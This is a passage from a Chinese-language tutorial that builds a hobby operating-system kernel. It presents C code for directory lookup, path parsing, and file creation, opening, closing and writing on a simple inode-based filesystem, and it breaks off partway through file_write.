struct dir* dir_open(struct partition* part, uint32_t inode_no) {
struct dir* pdir = (struct dir*)sys_malloc(sizeof(struct dir));
pdir->inode = inode_open(part, inode_no);
pdir->dir_pos = 0;
return pdir;
}

/* 在part分区内的pdir目录内寻找名为name的文件或目录,
* 找到后返回true并将其目录项存入dir_e,否则返回false */
bool search_dir_entry(struct partition* part, struct dir* pdir, \
const char* name, struct dir_entry* dir_e) {
uint32_t block_cnt = 140; // 12个直接块+128个一级间接块=140块

/* 12个直接块大小+128个间接块,共560字节 */
uint32_t* all_blocks = (uint32_t*)sys_malloc(48 + 512);
if (all_blocks == NULL) {
printk("search_dir_entry: sys_malloc for all_blocks failed");
return false;
}

uint32_t block_idx = 0;
while (block_idx < 12) {
all_blocks[block_idx] = pdir->inode->i_sectors[block_idx];
block_idx++;
}
block_idx = 0;

if (pdir->inode->i_sectors[12] != 0) {// 若含有一级间接块表
ide_read(part->my_disk, pdir->inode->i_sectors[12], all_blocks + 12, 1);
}
/* 至此,all_blocks存储的是该文件或目录的所有扇区地址 */

/* 写目录项的时候已保证目录项不跨扇区,
* 这样读目录项时容易处理, 只申请容纳1个扇区的内存 */
uint8_t* buf = (uint8_t*)sys_malloc(SECTOR_SIZE);
struct dir_entry* p_de = (struct dir_entry*)buf; // p_de为指向目录项的指针,值为buf起始地址
uint32_t dir_entry_size = part->sb->dir_entry_size;
uint32_t dir_entry_cnt = SECTOR_SIZE / dir_entry_size; // 1扇区内可容纳的目录项个数

/* 开始在所有块中查找目录项 */
while (block_idx < block_cnt) {
/* 块地址为0时表示该块中无数据,继续在其它块中找 */
if (all_blocks[block_idx] == 0) {
block_idx++;
continue;
}
ide_read(part->my_disk, all_blocks[block_idx], buf, 1);

uint32_t dir_entry_idx = 0;
/* 遍历扇区中所有目录项 */
while (dir_entry_idx < dir_entry_cnt) {
/* 若找到了,就直接复制整个目录项 */
if (!strcmp(p_de->filename, name)) {
memcpy(dir_e, p_de, dir_entry_size);
sys_free(buf);
sys_free(all_blocks);
return true;
}
dir_entry_idx++;
p_de++;
}
block_idx++;
p_de = (struct dir_entry*)buf; // 此时p_de已经指向扇区内最后一个完整目录项了,需要恢复p_de指向为buf
memset(buf, 0, SECTOR_SIZE); // 将buf清0,下次再用
}
sys_free(buf);
sys_free(all_blocks);
return false;
}

接下来的两个函数负责关闭目录和初始化目录项,需要注意的是根目录不能关闭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* 关闭目录 */
void dir_close(struct dir* dir) {
/*************  根目录不能关闭 ***************
*1 根目录自打开后就不应该关闭,否则还需要再次open_root_dir();
*2 root_dir所在的内存是低端1M之内,并非在堆中,free会出问题 */
if (dir == &root_dir) {
/* 不做任何处理直接返回*/
return;
}
inode_close(dir->inode);
sys_free(dir);
}

/* 在内存中初始化目录项p_de */
void create_dir_entry(char* filename, uint32_t inode_no, uint8_t file_type, struct dir_entry* p_de) {
ASSERT(strlen(filename) <= MAX_FILE_NAME_LEN);

/* 初始化目录项 */
memcpy(p_de->filename, filename, strlen(filename));
p_de->i_no = inode_no;
p_de->f_type = file_type;
}

最后这个函数负责将目录项p_de写入父目录parent_dir中,io_buf由主调函数提供

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/* 将目录项p_de写入父目录parent_dir中,io_buf由主调函数提供 */
bool sync_dir_entry(struct dir* parent_dir, struct dir_entry* p_de, void* io_buf) {
struct inode* dir_inode = parent_dir->inode;
uint32_t dir_size = dir_inode->i_size;
uint32_t dir_entry_size = cur_part->sb->dir_entry_size;

ASSERT(dir_size % dir_entry_size == 0); // dir_size应该是dir_entry_size的整数倍

uint32_t dir_entrys_per_sec = (512 / dir_entry_size); // 每扇区最大的目录项数目
int32_t block_lba = -1;

/* 将该目录的所有扇区地址(12个直接块+ 128个间接块)存入all_blocks */
uint8_t block_idx = 0;
uint32_t all_blocks[140] = {0}; // all_blocks保存目录所有的块

/* 将12个直接块存入all_blocks */
while (block_idx < 12) {
all_blocks[block_idx] = dir_inode->i_sectors[block_idx];
block_idx++;
}

struct dir_entry* dir_e = (struct dir_entry*)io_buf; // dir_e用来在io_buf中遍历目录项
int32_t block_bitmap_idx = -1;

/* 开始遍历所有块以寻找目录项空位,若已有扇区中没有空闲位,
* 在不超过文件大小的情况下申请新扇区来存储新目录项 */
block_idx = 0;
while (block_idx < 140) { // 文件(包括目录)最大支持12个直接块+128个间接块=140个块
block_bitmap_idx = -1;
if (all_blocks[block_idx] == 0) { // 在三种情况下分配块
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("alloc block bitmap for sync_dir_entry failed\n");
return false;
}

/* 每分配一个块就同步一次block_bitmap */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
ASSERT(block_bitmap_idx != -1);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

block_bitmap_idx = -1;
if (block_idx < 12) { // 若是直接块
dir_inode->i_sectors[block_idx] = all_blocks[block_idx] = block_lba;
} else if (block_idx == 12) { // 若是尚未分配一级间接块表(block_idx等于12表示第0个间接块地址为0)
dir_inode->i_sectors[12] = block_lba; // 将上面分配的块做为一级间接块表地址
block_lba = -1;
block_lba = block_bitmap_alloc(cur_part); // 再分配一个块做为第0个间接块
if (block_lba == -1) {
block_bitmap_idx = dir_inode->i_sectors[12] - cur_part->sb->data_start_lba;
bitmap_set(&cur_part->block_bitmap, block_bitmap_idx, 0);
dir_inode->i_sectors[12] = 0;
printk("alloc block bitmap for sync_dir_entry failed\n");
return false;
}

/* 每分配一个块就同步一次block_bitmap */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
ASSERT(block_bitmap_idx != -1);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

all_blocks[12] = block_lba;
/* 把新分配的第0个间接块地址写入一级间接块表 */
ide_write(cur_part->my_disk, dir_inode->i_sectors[12], all_blocks + 12, 1);
} else { // 若是间接块未分配
all_blocks[block_idx] = block_lba;
/* 把新分配的第(block_idx-12)个间接块地址写入一级间接块表 */
ide_write(cur_part->my_disk, dir_inode->i_sectors[12], all_blocks + 12, 1);
}

/* 再将新目录项p_de写入新分配的间接块 */
memset(io_buf, 0, 512);
memcpy(io_buf, p_de, dir_entry_size);
ide_write(cur_part->my_disk, all_blocks[block_idx], io_buf, 1);
dir_inode->i_size += dir_entry_size;
return true;
}

/* 若第block_idx块已存在,将其读进内存,然后在该块中查找空目录项 */
ide_read(cur_part->my_disk, all_blocks[block_idx], io_buf, 1);
/* 在扇区内查找空目录项 */
uint8_t dir_entry_idx = 0;
while (dir_entry_idx < dir_entrys_per_sec) {
if ((dir_e + dir_entry_idx)->f_type == FT_UNKNOWN) {// FT_UNKNOWN为0,无论是初始化或是删除文件后,都会将f_type置为FT_UNKNOWN.
memcpy(dir_e + dir_entry_idx, p_de, dir_entry_size);
ide_write(cur_part->my_disk, all_blocks[block_idx], io_buf, 1);

dir_inode->i_size += dir_entry_size;
return true;
}
dir_entry_idx++;
}
block_idx++;
}
printk("directory is full!\n");
return false;
}

路径解析相关函数

路及解析就是把路径按照路径分隔符拆分成多层文件名,逐层在磁盘上查找以确认文件名是否存在,如/a/b/c拆分为abc。下面的代码比较好理解,就不多解释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* 将最上层路径名称解析出来 */
static char* path_parse(char* pathname, char* name_store) {
if (pathname[0] == '/') { // 根目录不需要单独解析
/* 路径中出现1个或多个连续的字符'/',将这些'/'跳过,如"///a/b" */
while(*(++pathname) == '/');
}

/* 开始一般的路径解析 */
while (*pathname != '/' && *pathname != 0) {
*name_store++ = *pathname++;
}

if (pathname[0] == 0) { // 若路径字符串为空则返回NULL
return NULL;
}
return pathname;
}

/* 返回路径深度,比如/a/b/c,深度为3 */
int32_t path_depth_cnt(char* pathname) {
ASSERT(pathname != NULL);
char* p = pathname;
char name[MAX_FILE_NAME_LEN]; // 用于path_parse的参数做路径解析
uint32_t depth = 0;

/* 解析路径,从中拆分出各级名称 */
p = path_parse(p, name);
while (name[0]) {
depth++;
memset(name, 0, MAX_FILE_NAME_LEN);
if (p) { // 如果p不等于NULL,继续分析路径
p = path_parse(p, name);
}
}
return depth;
}

实现文件检索功能

文件检索主要负责判断文件是否存在,判断文件同名的这种情况,下面是fs中更新的一些结构体,path_search_record负责查找文件过程中已经处理过的上级路径,比如查找/a/b/c若找不到的话就需要知道是c不存在还是上级目录a和b不存在,若c不存在searched_path值就为/a/b/c,若b不存在searched_path的值就为/a/b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define MAX_PATH_LEN 512    // 路径最大长度

/* 文件类型 */
enum file_types {
FT_UNKNOWN, // 不支持的文件类型
FT_REGULAR, // 普通文件
FT_DIRECTORY // 目录
};

/* 打开文件的选项 */
enum oflags {
O_RDONLY, // 只读
O_WRONLY, // 只写
O_RDWR, // 读写
O_CREAT = 4 // 创建
};

/* 用来记录查找文件过程中已找到的上级路径,也就是查找文件过程中"走过的地方" */
struct path_search_record {
char searched_path[MAX_PATH_LEN]; // 查找过程中的父路径
struct dir* parent_dir; // 文件或目录所在的直接父目录
enum file_types file_type; // 找到的是普通文件还是目录,找不到将为未知类型(FT_UNKNOWN)
};

下面是具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/* 搜索文件pathname,若找到则返回其inode号,否则返回-1 */
static int search_file(const char* pathname, struct path_search_record* searched_record) {
/* 如果待查找的是根目录,为避免下面无用的查找,直接返回已知根目录信息 */
if (!strcmp(pathname, "/") || !strcmp(pathname, "/.") || !strcmp(pathname, "/..")) {
searched_record->parent_dir = &root_dir;
searched_record->file_type = FT_DIRECTORY;
searched_record->searched_path[0] = 0; // 搜索路径置空
return 0;
}

uint32_t path_len = strlen(pathname);
/* 保证pathname至少是这样的路径/x且小于最大长度 */
ASSERT(pathname[0] == '/' && path_len > 1 && path_len < MAX_PATH_LEN);
char* sub_path = (char*)pathname;
struct dir* parent_dir = &root_dir;
struct dir_entry dir_e;

/* 记录路径解析出来的各级名称,如路径"/a/b/c",
* 数组name每次的值分别是"a","b","c" */
char name[MAX_FILE_NAME_LEN] = {0};

searched_record->parent_dir = parent_dir;
searched_record->file_type = FT_UNKNOWN;
uint32_t parent_inode_no = 0; // 父目录的inode号

sub_path = path_parse(sub_path, name); // 开始路径解析
while (name[0]) { // 若第一个字符就是结束符,结束循环
/* 记录查找过的路径,但不能超过searched_path的长度512字节 */
ASSERT(strlen(searched_record->searched_path) < 512);

/* 记录已存在的父目录 */
strcat(searched_record->searched_path, "/");
strcat(searched_record->searched_path, name);

/* 在所给的目录中查找文件 */
if (search_dir_entry(cur_part, parent_dir, name, &dir_e)) {
memset(name, 0, MAX_FILE_NAME_LEN);
/* 若sub_path不等于NULL,也就是未结束时继续拆分路径 */
if (sub_path) {
sub_path = path_parse(sub_path, name);
}

if (FT_DIRECTORY == dir_e.f_type) { // 如果被打开的是目录
parent_inode_no = parent_dir->inode->i_no;
dir_close(parent_dir);
parent_dir = dir_open(cur_part, dir_e.i_no); // 更新父目录
searched_record->parent_dir = parent_dir;
continue;
} else if (FT_REGULAR == dir_e.f_type) { // 若是普通文件
searched_record->file_type = FT_REGULAR;
return dir_e.i_no;
}
} else { //若找不到,则返回-1
/* 找不到目录项时,要留着parent_dir不要关闭,
* 若是创建新文件的话需要在parent_dir中创建 */
return -1;
}
}

/* 执行到此,必然是遍历了完整路径并且查找的文件或目录只有同名目录存在 */
dir_close(searched_record->parent_dir);

/* 保存被查找目录的直接父目录 */
searched_record->parent_dir = dir_open(cur_part, parent_inode_no);
searched_record->file_type = FT_DIRECTORY;
return dir_e.i_no;
}

创建文件

首先我们需要实现file_create函数,在实现之前先梳理创建文件的过程:

  1. inode负责描述文件的属性,所以首先为文件创建inode,该过程需要向inode的管理单元inode_bitmap申请inode号,并更新inode_bitmap
  2. 确定文件存储的扇区地址,这个需要在block_bitmap中申请可用的块,并更新block_bitmap
  3. 新增的文件必然位于某个目录中,所以该目录的目录项数量要加1,并且要将新增的目录项写入目录对应的扇区中,如果原有的扇区已满,需要申请新扇区来存储目录项
  4. 若其中某步失败则回滚之前成功的操作
  5. 将上面过程中被改变的数据写入硬盘中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
/* 创建文件,若成功则返回文件描述符,否则返回-1 */
int32_t file_create(struct dir* parent_dir, char* filename, uint8_t flag) {
/* 后续操作的公共缓冲区 */
void* io_buf = sys_malloc(1024);
if (io_buf == NULL) {
printk("in file_creat: sys_malloc for io_buf failed\n");
return -1;
}

uint8_t rollback_step = 0; // 用于操作失败时回滚各资源状态

/* 为新文件分配inode */
int32_t inode_no = inode_bitmap_alloc(cur_part);
if (inode_no == -1) {
printk("in file_creat: allocate inode failed\n");
return -1;
}

/* 此inode要从堆中申请内存,不可生成局部变量(函数退出时会释放)
* 因为file_table数组中的文件描述符的inode指针要指向它.*/
struct inode* new_file_inode = (struct inode*)sys_malloc(sizeof(struct inode));
if (new_file_inode == NULL) {
printk("file_create: sys_malloc for inode failded\n");
rollback_step = 1;
goto rollback;
}
inode_init(inode_no, new_file_inode); // 初始化i结点

/* 返回的是file_table数组的下标 */
int fd_idx = get_free_slot_in_global();
if (fd_idx == -1) {
printk("exceed max open files\n");
rollback_step = 2;
goto rollback;
}

file_table[fd_idx].fd_inode = new_file_inode;
file_table[fd_idx].fd_pos = 0;
file_table[fd_idx].fd_flag = flag;
file_table[fd_idx].fd_inode->write_deny = false;

struct dir_entry new_dir_entry;
memset(&new_dir_entry, 0, sizeof(struct dir_entry));

create_dir_entry(filename, inode_no, FT_REGULAR, &new_dir_entry);// create_dir_entry只是内存操作不出意外,不会返回失败

/* 同步内存数据到硬盘 */
/* a 在目录parent_dir下安装目录项new_dir_entry, 写入硬盘后返回true,否则false */
if (!sync_dir_entry(parent_dir, &new_dir_entry, io_buf)) {
printk("sync dir_entry to disk failed\n");
rollback_step = 3;
goto rollback;
}

memset(io_buf, 0, 1024);
/* b 将父目录i结点的内容同步到硬盘 */
inode_sync(cur_part, parent_dir->inode, io_buf);

memset(io_buf, 0, 1024);
/* c 将新创建文件的i结点内容同步到硬盘 */
inode_sync(cur_part, new_file_inode, io_buf);

/* d 将inode_bitmap位图同步到硬盘 */
bitmap_sync(cur_part, inode_no, INODE_BITMAP);

/* e 将创建的文件i结点添加到open_inodes链表 */
list_push(&cur_part->open_inodes, &new_file_inode->inode_tag);
new_file_inode->i_open_cnts = 1;

sys_free(io_buf);
return pcb_fd_install(fd_idx);

/*创建文件需要创建相关的多个资源,若某步失败则会执行到下面的回滚步骤 */
rollback:
switch (rollback_step) {
case 3:
/* 失败时,将file_table中的相应位清空 */
memset(&file_table[fd_idx], 0, sizeof(struct file));
case 2:
sys_free(new_file_inode);
case 1:
/* 如果新文件的i结点创建失败,之前位图中分配的inode_no也要恢复 */
bitmap_set(&cur_part->inode_bitmap, inode_no, 0);
break;
}
sys_free(io_buf);
return -1;
}

实现sys_open

open函数的功能相当强大,通过它的打开标志,修改其调用参数,不仅可以打开一个文件,同样可以创建一个文件,所以不单独实现create类函数,文件的创建过程中主要是对绝对路径的解析。在路径没有问题且该文件不存在的前提下,标志设置为O_CREAT,就会调用之前的file_create函数创建文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/* 打开或创建文件成功后,返回文件描述符,否则返回-1 */
int32_t sys_open(const char* pathname, uint8_t flags) {
/* 对目录要用dir_open,这里只有open文件 */
if (pathname[strlen(pathname) - 1] == '/') {
printk("can`t open a directory %s\n",pathname);
return -1;
}
ASSERT(flags <= 7);
int32_t fd = -1; // 默认为找不到

struct path_search_record searched_record;
memset(&searched_record, 0, sizeof(struct path_search_record));

/* 记录目录深度.帮助判断中间某个目录不存在的情况 */
uint32_t pathname_depth = path_depth_cnt((char*)pathname);

/* 先检查文件是否存在 */
int inode_no = search_file(pathname, &searched_record);
bool found = inode_no != -1 ? true : false;

if (searched_record.file_type == FT_DIRECTORY) {
printk("can`t open a direcotry with open(), use opendir() to instead\n");
dir_close(searched_record.parent_dir);
return -1;
}

uint32_t path_searched_depth = path_depth_cnt(searched_record.searched_path);

/* 先判断是否把pathname的各层目录都访问到了,即是否在某个中间目录就失败了 */
if (pathname_depth != path_searched_depth) { // 说明并没有访问到全部的路径,某个中间目录是不存在的
printk("cannot access %s: Not a directory, subpath %s is`t exist\n", \
pathname, searched_record.searched_path);
dir_close(searched_record.parent_dir);
return -1;
}

/* 若是在最后一个路径上没找到,并且并不是要创建文件,直接返回-1 */
if (!found && !(flags & O_CREAT)) {
printk("in path %s, file %s is`t exist\n", \
searched_record.searched_path, \
(strrchr(searched_record.searched_path, '/') + 1));
dir_close(searched_record.parent_dir);
return -1;
} else if (found && flags & O_CREAT) { // 若要创建的文件已存在
printk("%s has already exist!\n", pathname);
dir_close(searched_record.parent_dir);
return -1;
}

switch (flags & O_CREAT) {
case O_CREAT:
printk("creating file\n");
fd = file_create(searched_record.parent_dir, (strrchr(pathname, '/') + 1), flags);
dir_close(searched_record.parent_dir);
// 其余为打开文件
}

/* 此fd是指任务pcb->fd_table数组中的元素下标,
* 并不是指全局file_table中的下标 */
return fd;
}

下面修改main函数并验证

1
2
3
4
5
6
7
8
9
10
11
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");
sys_open("/file1", O_CREAT);
while(1);
return 0;
}

测试结果如下,第二次运行显示文件已经存在

image-20200612181835991

接下来我们需要继续改进sys_open,使其支持更多功能,打开文件的核心操作是file_open,实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 打开编号为inode_no的inode对应的文件,若成功则返回文件描述符,否则返回-1 */
int32_t file_open(uint32_t inode_no, uint8_t flag) {
int fd_idx = get_free_slot_in_global();
if (fd_idx == -1) {
printk("exceed max open files\n");
return -1;
}
file_table[fd_idx].fd_inode = inode_open(cur_part, inode_no);
file_table[fd_idx].fd_pos = 0; // 每次打开文件,要将fd_pos还原为0,即让文件内的指针指向开头
file_table[fd_idx].fd_flag = flag;
bool* write_deny = &file_table[fd_idx].fd_inode->write_deny;

if (flag & O_WRONLY || flag & O_RDWR) {// 只要是关于写文件,判断是否有其它进程正写此文件
// 若是读文件,不考虑write_deny
/* 以下进入临界区前先关中断 */
enum intr_status old_status = intr_disable();
if (!(*write_deny)) { // 若当前没有其它进程写该文件,将其占用.
*write_deny = true; // 置为true,避免多个进程同时写此文件
intr_set_status(old_status); // 恢复中断
} else {// 直接失败返回
intr_set_status(old_status);
printk("file can`t be write now, try again later\n");
return -1;
}
} // 若是读文件或创建文件,不用理会write_deny,保持默认
return pcb_fd_install(fd_idx);
}

sys_open中增加一个case判断

1
2
3
4
5
6
7
8
9
10
11
switch (flags & O_CREAT) {
case O_CREAT:
printk("creating file\n");
fd = file_create(searched_record.parent_dir, (strrchr(pathname, '/') + 1), flags);
dir_close(searched_record.parent_dir);
break;
default:
/* 其余情况均为打开已存在文件:
* O_RDONLY,O_WRONLY,O_RDWR */
fd = file_open(inode_no, flags);
}

实现sys_close

close函数原型是int close(int fd),其底层核心是file_close

1
2
3
4
5
6
7
8
9
10
/* 关闭文件 */
int32_t file_close(struct file* file) {
if (file == NULL) {
return -1;
}
file->fd_inode->write_deny = false;
inode_close(file->fd_inode);
file->fd_inode = NULL; // 使文件结构可用
return 0;
}

sys_close实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* 将文件描述符转化为文件表的下标 */
static uint32_t fd_local2global(uint32_t local_fd) {
struct task_struct* cur = running_thread();
int32_t global_fd = cur->fd_table[local_fd];
ASSERT(global_fd >= 0 && global_fd < MAX_FILE_OPEN);
return (uint32_t)global_fd;
}

/* 关闭文件描述符fd指向的文件,成功返回0,否则返回-1 */
int32_t sys_close(int32_t fd) {
int32_t ret = -1; // 返回值默认为-1,即失败
if (fd > 2) {
uint32_t _fd = fd_local2global(fd);
ret = file_close(&file_table[_fd]);
running_thread()->fd_table[fd] = -1; // 使该文件描述符位可用
}
return ret;
}

main函数中测试一下刚才的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();
process_execute(u_prog_a, "u_prog_a");
process_execute(u_prog_b, "u_prog_b");
thread_start("k_thread_a", 31, k_thread_a, "I am thread_a");
thread_start("k_thread_b", 31, k_thread_b, "I am thread_b");

uint32_t fd = sys_open("/file1", O_RDONLY);
printf("fd:%d\n", fd);
sys_close(fd);
printf("%d closed now\n", fd);
while(1);
return 0;
}

我们成功将file1关闭

image-20200612181835991

实现文件写入

首先我们需要实现file_write函数,其作用是系统调用write的内核实现,文件最大尺寸是140个块,也就是支持140*512字节数据。写入文件时要判断是否需要分配新的数据块。如果12个直接块不够存储该数据,就分配间接块来存储,当所需的数据块分配好了之后,就会逐块的往硬盘上写入数据,直到所有的数据被写入硬盘,最后返回写入的字节数,代码略长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
/* 把buf中的count个字节写入file,成功则返回写入的字节数,失败则返回-1 */
int32_t file_write(struct file* file, const void* buf, uint32_t count) {
if ((file->fd_inode->i_size + count) > (BLOCK_SIZE * 140)){ // 文件目前最大只支持512*140=71680字节
printk("exceed max file_size 71680 bytes, write file failed\n");
return -1;
}
uint8_t* io_buf = sys_malloc(BLOCK_SIZE);
if (io_buf == NULL) {
printk("file_write: sys_malloc for io_buf failed\n");
return -1;
}
uint32_t* all_blocks = (uint32_t*)sys_malloc(BLOCK_SIZE + 48); // 用来记录文件所有的块地址
if (all_blocks == NULL) {
printk("file_write: sys_malloc for all_blocks failed\n");
return -1;
}

const uint8_t* src = buf; // 用src指向buf中待写入的数据
uint32_t bytes_written = 0; // 用来记录已写入数据大小
uint32_t size_left = count; // 用来记录未写入数据大小
int32_t block_lba = -1; // 块地址
uint32_t block_bitmap_idx = 0; // 用来记录block对应于block_bitmap中的索引,做为参数传给bitmap_sync
uint32_t sec_idx; // 用来索引扇区
uint32_t sec_lba; // 扇区地址
uint32_t sec_off_bytes; // 扇区内字节偏移量
uint32_t sec_left_bytes; // 扇区内剩余字节量
uint32_t chunk_size; // 每次写入硬盘的数据块大小
int32_t indirect_block_table; // 用来获取一级间接表地址
uint32_t block_idx; // 块索引

/* 判断文件是否是第一次写,如果是,先为其分配一个块 */
if (file->fd_inode->i_sectors[0] == 0) {
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("file_write: block_bitmap_alloc failed\n");
return -1;
}
file->fd_inode->i_sectors[0] = block_lba;

/* 每分配一个块就将位图同步到硬盘 */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
ASSERT(block_bitmap_idx != 0);
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);
}

/* 写入count个字节前,该文件已经占用的块数 */
uint32_t file_has_used_blocks = file->fd_inode->i_size / BLOCK_SIZE + 1;

/* 存储count字节后该文件将占用的块数 */
uint32_t file_will_use_blocks = (file->fd_inode->i_size + count) / BLOCK_SIZE + 1;
ASSERT(file_will_use_blocks <= 140);

/* 通过此增量判断是否需要分配扇区,如增量为0,表示原扇区够用 */
uint32_t add_blocks = file_will_use_blocks - file_has_used_blocks;

/* 开始将文件所有块地址收集到all_blocks,(系统中块大小等于扇区大小)
* 后面都统一在all_blocks中获取写入扇区地址 */
if (add_blocks == 0) {
/* 在同一扇区内写入数据,不涉及到分配新扇区 */
if (file_has_used_blocks <= 12 ) {// 文件数据量将在12块之内
block_idx = file_has_used_blocks - 1; // 指向最后一个已有数据的扇区
all_blocks[block_idx] = file->fd_inode->i_sectors[block_idx];
} else {
/* 未写入新数据之前已经占用了间接块,需要将间接块地址读进来 */
ASSERT(file->fd_inode->i_sectors[12] != 0);
indirect_block_table = file->fd_inode->i_sectors[12];
ide_read(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1);
}
} else {
/* 若有增量,便涉及到分配新扇区及是否分配一级间接块表,下面要分三种情况处理 */
/* 第一种情况:12个直接块够用*/
if (file_will_use_blocks <= 12 ) {
/* 先将有剩余空间的可继续用的扇区地址写入all_blocks */
block_idx = file_has_used_blocks - 1;
ASSERT(file->fd_inode->i_sectors[block_idx] != 0);
all_blocks[block_idx] = file->fd_inode->i_sectors[block_idx];

/* 再将未来要用的扇区分配好后写入all_blocks */
block_idx = file_has_used_blocks; // 指向第一个要分配的新扇区
while (block_idx < file_will_use_blocks) {
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("file_write: block_bitmap_alloc for situation 1 failed\n");
return -1;
}

/* 写文件时,不应该存在块未使用但已经分配扇区的情况,当文件删除时,就会把块地址清0 */
ASSERT(file->fd_inode->i_sectors[block_idx] == 0); // 确保尚未分配扇区地址
file->fd_inode->i_sectors[block_idx] = all_blocks[block_idx] = block_lba;

/* 每分配一个块就将位图同步到硬盘 */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

block_idx++; // 下一个分配的新扇区
}
} else if (file_has_used_blocks <= 12 && file_will_use_blocks > 12) {
/* 第二种情况: 旧数据在12个直接块内,新数据将使用间接块*/

/* 先将有剩余空间的可继续用的扇区地址收集到all_blocks */
block_idx = file_has_used_blocks - 1; // 指向旧数据所在的最后一个扇区
all_blocks[block_idx] = file->fd_inode->i_sectors[block_idx];

/* 创建一级间接块表 */
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("file_write: block_bitmap_alloc for situation 2 failed\n");
return -1;
}

ASSERT(file->fd_inode->i_sectors[12] == 0); // 确保一级间接块表未分配
/* 分配一级间接块索引表 */
indirect_block_table = file->fd_inode->i_sectors[12] = block_lba;

block_idx = file_has_used_blocks;// 第一个未使用的块,即本文件最后一个已经使用的直接块的下一块
while (block_idx < file_will_use_blocks) {
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("file_write: block_bitmap_alloc for situation 2 failed\n");
return -1;
}

if (block_idx < 12) { // 新创建的0~11块直接存入all_blocks数组
ASSERT(file->fd_inode->i_sectors[block_idx] == 0); // 确保尚未分配扇区地址
file->fd_inode->i_sectors[block_idx] = all_blocks[block_idx] = block_lba;
} else { // 间接块只写入到all_block数组中,待全部分配完成后一次性同步到硬盘
all_blocks[block_idx] = block_lba;
}

/* 每分配一个块就将位图同步到硬盘 */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);

block_idx++; // 下一个新扇区
}
ide_write(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1); // 同步一级间接块表到硬盘
} else if (file_has_used_blocks > 12) {
/* 第三种情况:新数据占据间接块*/
ASSERT(file->fd_inode->i_sectors[12] != 0); // 已经具备了一级间接块表
indirect_block_table = file->fd_inode->i_sectors[12]; // 获取一级间接表地址

/* 已使用的间接块也将被读入all_blocks,无须单独收录 */
ide_read(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1); // 获取所有间接块地址

block_idx = file_has_used_blocks; // 第一个未使用的间接块,即已经使用的间接块的下一块
while (block_idx < file_will_use_blocks) {
block_lba = block_bitmap_alloc(cur_part);
if (block_lba == -1) {
printk("file_write: block_bitmap_alloc for situation 3 failed\n");
return -1;
}
all_blocks[block_idx++] = block_lba;

/* 每分配一个块就将位图同步到硬盘 */
block_bitmap_idx = block_lba - cur_part->sb->data_start_lba;
bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);
}
ide_write(cur_part->my_disk, indirect_block_table, all_blocks + 12, 1); // 同步一级间接块表到硬盘
}
}

bool first_write_block = true; // 含有剩余空间的扇区标识
